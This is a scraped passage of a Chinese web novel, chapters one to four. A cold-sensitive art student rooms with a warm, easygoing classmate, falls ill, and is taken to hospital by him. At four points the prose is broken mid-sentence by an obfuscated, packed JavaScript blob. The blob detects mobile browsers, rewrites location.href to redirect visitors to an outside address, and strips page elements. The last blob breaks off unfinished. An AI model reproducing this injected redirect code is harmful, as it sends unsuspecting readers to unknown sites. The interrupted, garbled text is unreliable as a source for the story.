《梦游抱住校草后》 1. 第一章 天气渐凉,寒风裹挟着落叶在风中打着转,最近几日开始倒春寒,气温持续下降,沈知浔不着痕迹拉了拉衣领,无声加快脚步。 篮球场是画室到宿舍的必经之路,今天恰好有体院的人在打篮球,燕大的王牌专业很多,体院也是其中之一。 平时冷清的操场变得热闹非凡,往常能轻易通过的操场变得寸步难行。 伴随着的还有围观群众的阵阵欢呼声。 沈知浔蹙着眉小心避让着人群,耳畔突然听到像某种球类物品在地面弹起发出“嘭”的声音。 不远处。 “兄弟——帮我们把球丢过来。” 说话的方向冲着他这边,沈知浔下意识抬眼,看见场上的一个男生在冲着这边喊,他的目光不由自主地往下落,一颗篮球骨碌碌的滚到了他附近。 沈知浔看着那颗篮球,手指动了动,白皙的指尖微微泛白,还没动,站在旁边的男生反应很快,几乎在对面话音落下后,就捡起那颗篮球朝场上丢了过去。 沈知浔见球被丢了回去,不等围观群众反应过来,避开人群,身影很快就消失了。 场上,接过球的男生看着沈知浔的身影消失在人群中,转头疑惑道 :“刚刚那个是不是沈知浔?” 有人接话 :“那个艺术系的高岭之花?” 燕大艺术系沈知浔,因为刚一进校就引起轰动的美貌登上过校园论坛八卦板块,是当之无愧的艺术系系草。却又因为长相和性格都过于清冷,再加上他出众的才华,为学校取得了不少绘画方面的荣耀,被大家在私底下偷偷取了个高岭之花的称呼。 燕大的占地面积很广,专业众多,很多人都没见过这位传说中的高岭之花。 男生看向场上穿着黑色外套的高个男生,笑道:“真是他啊,我还以为我看错了,咱们学校太大,我还是第一次见到本人,不过这位高岭之花和谢哥还有不解之缘呢。” 不等高个男生说话,其他人就七嘴八舌地道 :“什么不解之缘?说来听听。” 男生嘻嘻哈哈地开玩笑 :“你们都不知道么,票选校草的时候他们俩的票数缠缠绵绵,拉得很近,实在难以取舍,最后还是沈知浔太过高冷,相比之下大家还是更喜欢平易近人的大帅逼,谢哥这才险胜对方。” 谢时泽并不是体院的,而是外语系的,但他篮球打的好,跟体院这群爱打篮球的关系不错,偶尔有空会跟他们打打球,见话题扯到他身上了,笑了笑 :“知道我平易近人还不赶紧把球丢过来。” 闲谈结束,随着一直在运球的男生把球丢过去,场上的气氛又变得火热起来。 沈知浔一路走回宿舍,寒风被隔绝在宿舍墙外,他微不可察地松了口气。 他在天气预报上看到今天要降温,提前换上了厚实的大衣,但空气中刮起的风能随着裸露出来的缝隙钻到四肢百骸里,裸露出来的地方更是冷得僵硬。 他体质差,格外畏寒,每逢换季都很容易感冒,天气刚转凉一点,路上不少人还穿着薄款外套,操场上打篮球的男生,他们中还有人穿着T恤…… 想到对方身上肆意挥洒的汗水,热气从身体内散发出来的样子,沈知浔轻轻摇头,裹紧了身上的外套。 宿舍里只有他一个人,燕大的宿舍除了研究生,都是标准的四人间,沈知浔刚搬进来不久,进门先把画稿放在桌上,拿着保温杯去接了一杯热水。 温热的杯壁被他握在手心里,热气在半空缭绕,泛白的手指一点点回温,小口小口喝着热水,润了润唇,等指尖不再僵硬才拿起桌上的铅笔准备画画。 期间沈知浔隐约听见开门的声音,但他一画画就容易沉浸其中,宿舍的另外两位舍友向晓和张康年推开门进来,见到沈知浔专心画画的样子,下意识放轻了手脚。 把专业书放在桌上坐回床上,向晓冲张康年挤眉弄眼,拿起手机晃了晃,无声地跟张康年做口型 :“游戏,走起?” 张康年看了眼专心致志画画的沈知浔,才点了下头。 他们这样小心翼翼倒也不是因为怂,沈知浔搬进来有一阵子了,大家平时都要上课,仅有的相处时间都在晚上。 沈知浔作息规律,没有什么不良嗜好,作为室友来说是很合格的。 但相处了一段时间他们还没熟络起来。 沈知浔性格冷淡,与他们另一个室友谢时泽随和的脾气,深邃俊秀的五官不同,他的容貌昳丽,加上格外清冷的气质,让他看上去更难以接近。 向晓和张康年平时咋咋呼呼的,打起游戏来吵闹得隔壁宿舍都能听见,但沈知浔搬进来他们有种大声说话都会打扰到对方的负罪感。 两人戴着耳机打了一会儿游戏,对面宿舍的人过来邀请他们五排,果断融入隔壁和谐的五排大家庭。 夜幕悄无声息降临,沈知浔收好画稿,端起桌上已经变得温热的水喝了起来,温热的水流顺着喉咙涌到身体里,短暂的驱散了久坐后带来的冷意。 又站起来活动了一下身体,宿舍很安静,沈知浔顿了顿,拿起床上的睡衣,走向浴室。 他的作息很规律,每天熄灯的时间准时睡觉,现在已经换上了厚实的睡衣,刚洗过澡的身体躺在床上要捂一会儿才会暖和起来。 沈知浔每到这种季节就手脚冰凉,用被子将自己裹成一个茧,努力忽略身上还没暖起来的冰凉,转移注意力思索着,明天该去学校小超市买暖宝宝了。 贴一些暖宝宝在身上,这个春天能好过一些,只是暖宝宝能温暖到的地方终究有限……要是能不怕冷就好了。 这样想着,在意识即将滑向睡梦的边缘时,沈知浔脑海里突然浮现出了操场上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050990|162823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一幕。 站在刮起的寒风里的青年,头发被吹得轻轻晃动,裸露出脖颈和一截手腕,似乎半点都不畏寒,额头上还溢出了汗珠。 一看就…很暖和。 - 谢时泽吃完晚饭回来已经是深夜。 这个年纪的男生饭量都大,体院那群打篮球的更是其中的佼佼者,吃完饭后又去吃了烧烤。 宿舍熄着灯,静悄悄的,谢时泽一猜就知道向晓和张康年肯定又去对面宿舍打游戏了,轻轻摇头,随手把给他们打包回来的烤串放在他们桌子上。 他视线在宿舍内扫了一眼,夜晚光线朦胧,谢时泽视力很好,注意到对面床铺的床帘已经放下来了。 朝夕相处半个月,他对这位新舍友的作息也有所了解,可出门觅食回来,给另外两个室友都带了夜宵,总不好厚此薄彼。 谢时泽在黑暗中行动自如的走到自己桌子旁坐下,拿出手机给向晓和张康年发消息。 发完消息目光犹豫地落在新舍友拉上的床帘上,要不要叫醒对方呢… 谢时泽还没想好,就听见从对面床铺里传来悉索的声音,他扬起唇角,询问 :“你醒啦……我打包了点的烤串回来,你要吃吗?” 对面床铺悉悉索索的动静变得清晰,沈知浔从床上坐起来,他没有拉开床帘,直接走了出来。 谢时泽下意识扬起嘴角的笑,朦胧光线中,他看不清沈知浔的脸,隐约感觉对方的脚步有些迟缓。 “沈知浔”似乎察觉到了落在他身上的视线,呆呆地抬起头,没有焦距的视线落在他身上。 他像是经过了短暂思考,脚步缓慢地走到谢时泽对面。 谢时泽指了指放在向晓桌上的烤串,怕味道沾到新舍友的画稿上,他留心了一下距离才放到向晓桌上,客套道 :“还是热的,趁热吃。” “沈知浔”在他面前站定不动。 他的目光慢慢巡视过谢时泽的手腕,从下移到上,缓缓扫过谢时泽的外套,和裸露在外的脖颈,缓慢地扫视过他全身。 谢时泽有些诧异地挑眉,沈知浔视线的存在感不弱,视线里更没有什么多余的情绪。 他被看的不自在起来,想到舍友孤僻的性格和平时爱干净的作风,以为是自己身上吃过烧烤后的味道还没散去,狐疑地抬起手腕闻了闻。 他抬起手腕的动作,打破了凝滞的氛围,“沈知浔”像是意识到了什么,呆愣半秒后转身,拖着迟缓的脚步回到床上。 谢时泽愣了愣,看着“沈知浔”从善如流的走回床边,撩起帘子,躺回床上,似乎他起身只是因为被他身上的烧烤味道熏醒了,并不是他以为的终于愿意和舍友拉进关系了。 谢时泽表情有些古怪,低头仔细在自己身上嗅了嗅。 他身上的烧烤味道也没有那么重吧? 2. 第二章 - 隔天一早。 沈知浔脑袋昏昏沉沉地爬起来,今天的气温并没有回暖,给自己套了一件厚实的毛衣,和羽绒服,还围了围巾,起床时还是低低地咳了一声,喉咙有些发痒。 托换季经常感冒的经验,他知道这是感冒的前兆,如果再不吃药好好保暖,症状可能会加重。 虽然体质差,但沈知浔依然不喜欢生病,生病后脑袋晕晕乎乎的,既难受又受罪。 他起床收拾好自己,吃了感冒药,又给自己冲了一袋冲剂,因为容易生病的原因,他倒是各种药都备了一点,反正总有用得上的时候。 他起得比平时早一点,时间并不紧迫,捧着保温杯喝着杯子里的冲剂,听见室友起床上厕所,卫生间的门关上又打开。 向晓走过来看着捂得格外严实的沈知浔,想起什么,挠了挠头 :“昨晚我们吃了烧烤,时间晚就没怎么收拾,你要是介意我马上收拾掉。” 宿舍的人基本都起来了,他们宿舍是混寝,虽然不在一个专业,但大二的课程都排得差不多满。 闻言,谢时泽和张康年也看了过来。 昨晚张康年和向晓打完游戏回来吃谢时泽带回来的烤串,被提醒了一句沈知浔可能有洁癖,让他们吃完把味道清理干净。 但向晓和张康年懒癌发作,吃完就随手放进垃圾桶,也没把垃圾扔出去,这会儿宿舍里还飘荡着一股淡淡的烧烤味。 张康年也歔了眼沈知浔的脸色,在一旁补充 :“本来我们想给你留的,但谢哥说叫过你了,我们这才都吃完了。” 叫过他? 沈知浔难得怔愣了一下。 他好像没有听见。 他下意识地说“没事”,他没有太重的洁癖,只要维持基本的干净就可以了,嗓音淡淡 :“等下扔掉就行了。” 向晓连连保证 :“你放心,我等会儿出去就扔。” 沈知浔点点头,不再多说,喝完杯子里剩下的冲剂,拿上昨天画好的画稿就出去了。 向晓看着沈知浔的背影消失在门口,松了口气 :“还好他不介意。” 张康年看向谢时泽 :“不过我看他也不像那种有严重洁癖的人啊。” 闻不了烧烤味道什么的,在他们这群什么乱七八糟的东西都有的男生宿舍,早就受不了了吧。 谢时泽摇摇头,表示他也看不懂。 “不过爱干净也不是坏事,你们最近半夜没听到悉悉索索的声音吗?”张康年话锋一转。 谢时泽 :“什么悉悉索索的声音?” 张康年摇头 :“我也不知道,就是睡得朦朦胧胧的时候听见咱们宿舍有动静。” “我去。” 向晓鸡皮疙瘩都要起来了,看看自己的床位,又看看还算干净的宿舍 :“咱们宿舍不会有老鼠吧?” 他惊恐道 :“不能吧,我已经算男生里勤快爱干净的了,虽然比不上沈知浔和谢哥,但怎么也能排个前三。”他转头看着张康年,质问 :“是不是你偷偷藏了什么脏东西?” 张康年翻了个白眼 :“你爱干净,那我就是洗洁精成精好了吧。” 他们在背后互相推卸起了责任。 谢时泽看着沈知浔的床铺,悉悉索索的动静他昨晚倒是听见了。 很快他就拍了拍自己的脑袋,笑着摇头,感叹自己联想能力太强。 - 沈知浔到画室时,时间还早,画室只有他一个人,他把昨晚布置的课堂练习交到平时放作业的地方,走到画板前做自主练习。 随着画笔留在纸张上的线条越来越多,画室也走进来不少学生,沈知浔恍然未觉,全副心神都沉浸在面前的画纸上。 熟悉他的人都知道,沈知浔性格冷淡,生活中和人相处更是维持着一个度,像是在心里给自己和旁人画了一条界线,坚决不越出线外半步。 他仅有的用来宣泄情绪的方式,都在画画上面,画者笔下的世界也能窥探到作画者的心情。 画完一副简单的练习,沈知浔难忍喉间的痒意,握拳抵在唇边轻轻咳了一声。 “沈知浔,你不舒服吗?” 沈知浔回过神,这才发现周围不知何时围了好几个画室的同学。 画室的同学凑过来近距离欣赏,她们在沈知浔作画过程安安静静的,沈知浔不是第一次面对这种情况了,仍然不习惯大家的热情,轻轻摇头 :“没事。” 围过来的同学便将话题转移到沈知浔的画板上。 “我刚刚交练习时看到你的画了,果然又是第一个交的,速度又快又好就算了,现在就连随手画的也这么好。” “比我精心画的强多了,同样在一个画室怎么差别就这么大?” “别说了,又是想砍手的一天。唉,我天天跟大神待在一个画室,这天赋怎么就不能分我一点呢?” 沈知浔听着这些夸赞无动于衷,看着画板上的画,摇摇头,客观地说 :“不够好,色彩的明暗度没处理好,线条也不够流畅。” “真的吗?我看着挺好的啊?”班上一个比较活泼的女生歪了歪头,说 :“难道这就是我和大神的差距,大神觉得画差的作品在我们眼里已经很好了?” 旁边突然响起一声轻嗤,对面的两个男生站在一起,发出嗤笑的就是其中一个男生。 沈知浔在艺术系算得上是风云人物,绘画天赋数一数二,是所有老师的得意门生,一有什么比赛都能为学校捧回荣誉,这样的天才简直让人望尘莫及。但他性格冷淡,不擅交际,与专业的同学关系不冷不热,身边却总是围绕着很多女生。 久而久之,自然有男生看他不顺眼。 刚才说话的女生看过去 :“魏林你什么意思?” 嗤笑的男生也就是魏林丝毫不惧 :“没什么意思。” “哦,我知道了,大神的下限就是你的上限,你不服气了是吧?”女生笑嘻嘻地。 魏林涨红了脸,还没说话,教授从外面走进来,大家立马回自己的位置。 画室安静下来,教授讲解了今天的课程,随即就下来看他们画的练习。 走到沈知浔旁边时,教授停下脚步,看了片刻,直言道 :“你今天不在状态。” 沈知浔点点头,解释道 :“可能是有点感冒。” “除了画画之外,平时也要注意休息。”教授看着沈知浔今天明显不在水平的画,嘱咐他。 沈知浔忍着喉咙的痒意,点头 :“好的教授。” 一整个上午的课程,沈知浔都会时不时咳一声,惹得平时对他观感不错的其他老师都问了他几句。 沈知浔礼貌回应时,自己也很难受,咳嗽牵动着胸口,喉咙间的痒意又难以忍耐,手掌只能握成拳死死抵着唇不让自己发出太大的声音。 教授说的没错,他今天确实不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050991|162823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在状态,除了感冒带来的大脑昏沉之外,心头还萦绕着一股挥之不去的郁闷。 沈知浔自己的体质自己清楚,发现最近要降温,他换了厚衣服,床单被罩带的也是厚的,昨晚睡前都还好好的。 就连床帘也拉得密不透风,却还是感冒了。 这么严防死守都没逃过生病的命运,让他怎么高兴得起来。 上午的课程结束,沈知浔裹紧了围巾,手塞进羽绒服口袋里,他没忘记去超市买暖宝宝,还买了一些画具。 到宿舍时,看见宿舍门半掩着,沈知浔并不意外,学校的宿舍都是混寝,每个人的课表都不同,他推开门走进去。 谢时泽姿态随意地坐在床边看游戏视频,听见有人进来,抬起头随意看了一眼,冲他点头 :“回来了。” 沈知浔目光短暂的落在他身上一瞬,轻轻地应了一声 :“嗯。” 宿舍温度比外面稍微高一些,对沈知浔来说这点温差区别实在不大,谢时泽却只穿了一款薄款外套,他似乎并不觉得冷,还露出了一小截手臂,手臂覆着一层薄薄的肌肉,肌肉线条很漂亮。 身为一个美术生,沈知浔不缺一双能发现美好事物的眼睛,更何况是谢时泽这样经过大众检验的帅哥。 刚搬进来他就注意到谢时泽除了有张优越的脸,身材比例也很好,肩宽腰窄,手腕线过裆,比平时老师找来给他们画画的模特还要好……最重要的是,他身体一看就很好,看起来很暖和。 在沈知浔这样体弱多病,格外畏寒的人眼里,这样浑身都散发着暖和气息的人,像一个巨型暖宝宝。 喉咙里的痒意让他低低闷咳了两声,沈知浔不着痕迹地收回视线,除了羡慕,他已经升不起别的情绪了。 他走向自己的位置,拿出一张空白的画纸,谢时泽则戴上无线耳机看视频,宿舍内一时间很安静。 但沈知浔却静不下心画画,画纸上多了很多杂乱的线条,坐了一会儿,宿舍内隔绝了寒风,也让大脑的不适到了难以忽视的程度,似乎是被回来的寒风一吹,现在变得更加昏沉。 感冒好像加重了…… 他脑袋昏沉地起身拿起桌上的保温杯,想去接点热水。 刚扶着桌子起身,沈知浔身体就轻轻晃了一下,下意识攥紧了桌子边角,宿舍内只有两个人,一点点动静都很明显,谢时泽从屏幕上抬起眼,视线落在沈知浔身上,顿了顿,微微一怔。 谢时泽很快反应过来,摘下耳机从床边站起来,走了两步突然抬起手。 沈知浔的目光不由自主的被他抬起的手吸引,谢时泽的手指劲瘦修长,骨节分明,皮肤很白,不是沈知浔这种没有太多血色的白,健康中蕴含着一点力量感。 眼看这只手越来越近,沈知浔冷不丁想起在心里对谢时泽巨型暖宝宝的评价,抬起手虚虚抓住了这只手。 大脑不知何时被热意侵袭,理智被挤压到角落,只剩下对温暖最原始的追逐,干燥的手指,散发着源源不断的温暖,像是冬日难得一见的暖阳,几乎在接触到的瞬间,热意就顺着手指传递了过来。 冰冷的手指猝然接触到的热意就像是在冰天雪地里遇上的火原。 他顿了顿,情不自禁地握紧了一点。 谢时泽没注意这点小细节,一只手把手机装回口袋里,平时随和的声音也难得多了几分严肃 :“你脸很红,好像发烧了。” “得去医院。” 3. 第三章 挂号、抽血、输液。 一通折腾下来,已经到了下午,换季时期感冒的人远比平常多,医院大厅的座椅坐得满满当当。 大厅开着空调,温度适宜,将凛冽的寒风挡在外面,远比学校和宿舍暖和。 沈知浔刚吃过了药,神色有些倦怠,抬眸看向陪着他一起过来的谢时泽。 神情依旧难掩意外,沈知浔虽然和谢时泽在一个宿舍,但两人关系并不熟络,还没有向晓他们和谢时泽熟,沈知浔也没想到在自己生病时对方会热心地陪着一起过来。 他在心里斟酌了一下语句,声音很轻 :“谢时泽,谢谢你陪我来医院。” “改天我请你吃饭吧。” 谢时泽坐在旁边,他闲着无事,便拿出手机打发时间,闻言随意道 :“没事,举手之劳。” 谢时泽是真觉得不是什么大事,他下午没课,在宿舍也是待,在这儿也是待,没什么区别。 不过他说完后,往旁边看了一眼,就注意到舍友抿着嘴唇,张了张口,没说话,自顾自地咬了下唇,他像是极不擅长这种与不熟悉的人拉扯社交,在被拒绝后就不知道要说什么了。 沈知浔确实不知道要说什么,他每天的大部分时间都放在画画上,与人的交往相对就少了很多,面对这种情况也不够圆滑,声音闷闷的坚持 :“要的。” 谢时泽收起手机,眨了眨眼,突然觉得这位舍友跟他想象的不太一样,看着沈知浔看似淡定清冷的表面,扬起嘴角 :“那就有空的时候再说吧。” 他扬起嘴角时眼睛也会跟着弯起来,看起来笑眯眯很随和的样子,冲淡了容貌带来的锋利感,话锋一转,语气诚恳 :“我能问你个问题吗?” 沈知浔不明所以,点了点头。 谢时泽见沈知浔很快就点头,他反倒生出了点难以启齿来,却又因为很少遇见这种情况,思索了两秒就坦然问道 :“你是不是……对我有意见?” 沈知浔茫然一瞬,微微蹙起眉,谢时泽很快解释 :“说意见也不太准确。”他歪头思索道 :“可能是有更高的标准?” 谢时泽实在不能理解沈知浔那晚的表现,怎么看都像是对他身上带来的烧烤味道的介意。 他当然没有觉得是对方的问题,烧烤的味道是有点,他也很快就洗了澡,确定身上再也闻不到一点烧烤味后才出来。 可向晓和张康年在吃过烧烤后就把残留的垃圾留在宿舍,沈知浔也没有说什么。 这算不上多大的事,谢时泽也没有刻意记在心里,只是在跟沈知浔稍稍有了一点接触后,忍不住问了出来。 他问之前还认真回忆了一遍,确定和沈知浔没有什么过节。 沈知浔彻底懵了,不知道谢时泽的话从何说起,抿着嘴唇,认真摇头 :“我没有对你有意见。” 真的没有。 “也没有什么更高的标准。” 后面这句声音低低的,带着股不知该怎么解释的无力感。 谢时泽眉心几不可见的褶皱松开,嘴角弯起一丝弧度,眨了眨眼 :“那误会解除?” 他笑着说 :“我这个人有些直,你别介意,我觉得毕竟以后还要在一个宿舍住很长的时间,所以有些误会还是说出来比较好。” 沈知浔没有遇到过谢时泽这种直来直往的人,却也知道这不是什么不好的特质,摇头,认真道 :“没有,挺好的。” 表情认真得让人一看就知道是发自内心的这么觉得。 谢时泽莞尔,他突然觉得沈知浔没有看上去那么冷漠难以接近,对方不会和不熟的人拉扯客套,说话时会下意识直视别人的眼睛,半圆弧形的眼睛透彻得一眼就能望到底。 有种很纯粹的干净。 话题告一段落,谢时泽看了一眼沈知浔的输液瓶,见还不到一半,拿出手机晃了晃 :“我打会儿游戏,等会药没了跟我说,我帮你弄。” 沈知浔轻轻点了下头。 谢时泽打开手游开了一局,沈知浔视线盯着虚空望了一会儿,发着呆,脑子里神游太虚的想着事……得找个时间请谢时泽吃饭,今天的练习还没有画,不知道输一天液行不行,希望烧能退下来…… 七想八想时间倒也过得快,沈知浔都没注意头顶吊瓶里的药快输完了。 谢时泽突然起身,走到沈知浔另一侧,把空了的吊瓶开关关了,打开另一瓶吊瓶。 沈知浔被他的动作惊得回神,看着谢时泽做完这一切,走回位置旁继续低头打游戏,他莫名有点赧然 :“谢谢。” “不用。” - 等输完了吊瓶里的药时间接近晚上,两人收拾好打车回去,天黑的早,才六七点天色就朦胧擦黑。 赶回宿舍的时候,向晓和张康年都在宿舍捣鼓地上的一堆东西,两人听见动静抬头,看清门外走进来的两人,不约而同的愣了一下。 向晓表情最为夸张,嘴都张开了,一副不敢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050992|162823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相信自己看到了什么的表情。 谢时泽进门,目光先落在地上一堆东西上,扫把、抹布、拖把,好笑地睨着蹲在地上的两人 :“你们这是要拆家?” “我们打算打扫一下宿舍卫生……”向晓下意识地回了一句。 沈知浔进宿舍后冲他们点点头,拿着保温杯径直去外面接水。 向晓见他出去,火速放下手里正在捣鼓的拖把,跑到谢时泽面前,压低嗓音 :“怎么回事??你们怎么一起回来?别跟我说是在宿舍楼外面碰巧遇见的,你今天下午没课,别想骗我。” 他机关枪一样说了一通,谢时泽走过去蹲在地上跟着研究地上的东西,言简意赅 :“他感冒发烧,我送他去医院。” “哦。”向晓满脸失望地走过来 :“我还以为有什么八卦。” 谢时泽挑眉 :“我们能有什么八卦?” 向晓“嘿嘿”笑了两声,一副看热闹不嫌事大的样子 :“这你就不懂了吧,你们两个以前王不见王的,虽然都在一个学校,但面都见不到一次,现在被分到一个宿舍了,又是校草榜榜一榜二,这能不发生点故事?” 谢时泽看着地上的一堆东西,摇了摇头:“大编剧,你是要编故事还是要打扫卫生?” 沈知浔接好水回来就看到宿舍里的三个人,每人手里都拿着一个打扫工具,看样子是想将宿舍彻底清理一遍,他放下保温杯,顿了顿,走过去想和他们一起打扫。 他刚走过去,手臂就被谢时泽拉住了 :“你烧刚退,坐着休息就好。” 向晓也说 :“对,哪儿能让病号干活,我们三个人足够了。” 沈知浔低头,视线落在谢时泽拉住他的手臂的手上,虚虚掠过一瞬,抬起头看着正在打扫的向晓和张康年,摇了摇头执着道 :“我没事。” “有什么我能做的吗?” 谢时泽想了想,觉得这确实也是一个可以融入集体的机会,没有再劝说,他做出一副认真思考的样子。 沈知浔眼也不眨地看着他,那张清冷漂亮的脸上浮现出了隐隐的期待。 谢时泽对上他的眼眸,沈知浔的眼睛很大很亮,剔透的黑,和澄澈的目光,他一瞬间觉得他像是正专心致志期待着某件事的柔软小动物,天然带着令人心软的能力,他扬起嘴角,语气却很正经 :“你手机有电吗?” 沈知浔面露困惑地点点头。 谢时泽莞尔 :“那帮我们拍几张照片吧。” 4. 第四章 沈知浔握着手机有点反应不过来的样子,不知道是怎么被委以了拍照这个重任。 他甚至还没说话就被向晓和张康年打断了思绪。 “辛辛苦苦打扫出来的宿舍怎么能不拍照?打扫完,可能比我住进来时还要干净。” “让沈知浔拍,美术生肯定比我们懂怎么构图,怎么拍照最能体现出我们辛勤的一面,妙啊妙啊!” “啧啧,你们说,打扫自己的宿舍能加学分吗?” “……你怕不是在想桃子吃。” 沈知浔记忆回溯完毕,站在宿舍门口,从刚开始的怀疑谢时泽只是随便找了个借口敷衍他,到听完向晓和张康年的话,他也开始觉得拍照这个任务好像是很重要。 谢时泽他们正在仔细将宿舍的边边角角都清理干净,忙得热火朝天,沈知浔找不到其他能帮忙的地方,便按照他们的要求,给他们拍了几张辛勤打扫的照片。 他拿着手机看着里面忙碌的其他人,几乎感觉有些无聊,却很奇异地没有被排斥在外的感觉。 站着发了会儿呆,举着的手机突然跳出一条消息,沈知浔点开,是上一个宿舍的舍友阮兆兴发过来的。 沈知浔性格冷淡,不善交际,并没有太多朋友,在上个宿舍住了那么久。才终于交到一个关系亲近的朋友。 阮兆兴 :[知知,这段时间忙得都没时间跟你约饭,你过得怎么样?] 沈知浔 :[挺好的。] 阮兆兴 :[那就好![开心]孟良他们这两天还拐弯抹角的问我你现在的情况,我要不要稍稍给他们透露一丢丢?] 沈知浔 :[他们打听我的情况做什么?] 阮兆兴 :[哈,你搬走后咱们宿舍不是又有人搬进来了吗?新室友磨牙、打呼,半夜打游戏还骂人。现在他们可算知道能遇到你这种作息规律、爱干净、脾气好的舍友是烧高香了。] 阮兆兴 :[他们现在知道后悔了,早干嘛去了?[白眼]] 沈知浔 :[那你还在宿舍不会受影响吗?] 阮兆兴 :[隔音耳塞了解一下。[低调推眼镜]反正现在课业压力大,我恨不得每天教室、图书馆、食堂连轴转了,每天就回去睡个觉,问题不大,但看他们不爽我还挺爽的哈哈哈哈。] 沈知浔 :[那就好。] 阮兆兴 :[那我要不要向他们透露你换了新宿舍后过得挺好的呢?] 沈知浔 :[算了吧,他们怎么样不关我的事,我也不想跟他们有什么牵扯。] 阮兆兴 :[okk。] 阮兆兴 :[知知,那…你现在的舍友知道你……那啥吗?] 沈知浔 :[不知道。[叹气]] 阮兆兴 :[没关系的知知,这件事没什么大不了的,只有孟良他们那种没见过世面的被害妄想症才会觉得是大事,不是所有人都这样想的。] 沈知浔轻叹了口气 :[但愿吧。] 两人又闲聊了几句,阮兆兴是学医的,家里三代都是医生,用他的话说上辈子杀猪,这辈子学医,每天忙得脚不沾地的。 他跟阮兆兴聊完,注意到宿舍快打扫干净了,找好角度拍了几张,等谢时泽用干拖把反反复复把地面的水渍拖干净,收尾工作就算完成了。 这个季节学校已经不供应暖气了,站在宿舍门口一会儿沈知浔就感觉到了冷,他把拍好的照片发到宿舍群里,迫不及待走到桌前捧着保温杯暖手。 身后向晓和张康年还在看照片,张康年 :“美术生的审美就是比我们好。” 向晓 :“我今天才发现,原来咱们宿舍这么宽敞明亮的吗?” 沈知浔的注意力放在他们身上片刻,就不由自主地被一旁的谢泽吸引了注意力。 谢时泽进门后没急着去看沈知浔发在群里的照片,他穿了一件简单宽大的黑色外套,打扫过卫生后,似乎有些热了,拉链拉下来一点,额前的头发都有点汗湿。 径直走到桌前拿起放在桌上的矿泉水喝了一口,喝水时微微仰着头,握着瓶身的手指修长有力,额头上有一层浅浅的薄汗,身上有股淡淡的洗衣液的香味。 沈知浔默默握紧了保温杯,想到白天短暂碰到的手,干燥、温暖,即便被他如此冰冷的手指碰到,依旧是暖的。 比起保温杯时刻不离身,却依然只有手指感到暖和,和就算贴了暖宝宝,也有其他地方会感觉寒冷。 谢时泽应该全身上下都很暖和吧? 不用像保温杯和暖宝宝一样,贴在身上只有那一点地方温暖,晚上睡觉时都会被冻醒。 谢时泽比他高,手看着也比他长,腿也很长,可以将他完全抱住,不用担心有其他地方感觉冷,他连打扫完卫生后额头上都冒出了汗珠,应该也不会被他冻到…… 谢时泽喝完水,转身去柜子前拿洗漱的衣服。 沈知浔的眉心猛地一跳,视线慌忙收回,无措的望着虚空,心脏都加速了起来,定定盯着某一点看了许久,像是才回过神来,意识到自己刚才在想什么。 就算再冷,也不能幻想谢时泽会抱自己,像个自带热度的抱枕一样给他暖被窝啊。 沈知浔从来不知道他还有这一面,会幻想这种天方夜谭的事情,对象还是谢时泽,心里却很明白这是为什么。 他以前每年不管什么季节,只要温度降了,稍不注意保暖就会感冒,所以每次天气降温对他来说就意味着会感冒、学业会落下、会给别人添麻烦…… 调理身体不是件一蹴而就的事情,沈知浔从小就体弱,现在体质已经比以前好很多了,怕冷却依旧刻在他骨子里。 沈知浔不是没有遇到过体质好、不怕冷的人,可他们都没有像谢时泽一样离他这么近,近到就在一个屋檐下,每天都能看到的程度。 保温杯、暖宝宝、热水袋,每年过冬必备的东西,却都好像比不上谢时泽运动过后额头上溢出的汗珠吸引他。 两种截然相反的体质,人又总会被与自己相反的特质吸引,还是像“寒冰”与“暖阳”这种要命的吸引。 幸好这种吸引是可以控制的,他心里再羡慕,再想把谢时泽像一个暖宝宝一样抱住,在现实下,这种想法都只是一种对温暖异想天开的追逐,不会造成任何影响。 沈知浔神游天外的时候,宿舍的话题已经换了一轮了。 张康年说 :“现在宿舍打扫干净了,知道问题出在哪儿了吧?” “沈知浔和谢哥的床位和桌子是全宿舍最干净的地方,而你的说是垃圾堆也不为过,零食碎屑、吃了东西擦手的纸巾,还有一些乱七八糟的东西,全都在床底,肯定是你把老鼠招来的。” 事实胜于雄辩,向晓无话可说,恹恹地看看正拿着换洗衣服往洗手间走的谢时泽,又看看坐在桌前的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 